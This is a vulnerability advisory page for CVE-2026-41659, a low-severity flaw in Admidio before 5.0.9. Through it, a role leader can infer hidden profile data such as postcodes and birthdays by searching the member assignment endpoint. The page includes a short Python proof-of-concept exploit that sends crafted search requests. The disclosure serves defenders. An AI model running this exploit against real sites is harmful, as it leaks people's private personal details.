Security Vulnerability Report
中文
CVE-2026-41659 CVSS 2.7 LOW

CVE-2026-41659

Published: 2026-05-07 04:16:30
Last Modified: 2026-05-07 15:16:08

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests """ PoC for CVE-2026-41659 (Admidio Hidden Field Inference) This script demonstrates how a role leader can infer hidden PII (e.g., Postcode) by observing search results. """ target_url = "https://target-admidio-site/admidio/modules/members/members_assignment_data.php" # Attacker's cookie (requires Role Leader with assign permissions) cookies = { "admidio_session_id": "valid_session_cookie_here" } # Data to search for a hidden field (e.g., POSTCODE) # Even if 'POSTCODE' is hidden in the profile, it is used in the SQL backend search. payload = { "sSearch": "12345", # The value to infer (e.g., a specific postcode) "roleId": "1" # The role ID to search within } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: data = response.json() # Check if the expected user appears in the results # If the user is listed, we know their hidden postcode matches '12345' print(f"Search result count: {data.get('iTotalDisplayRecords', 0)}") if data.get('iTotalDisplayRecords', 0) > 0: print("[+] User found with the inferred hidden attribute.") else: print("[-] No user found.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41659", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:29.567", "lastModified": "2026-05-07T15:16:08.253", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}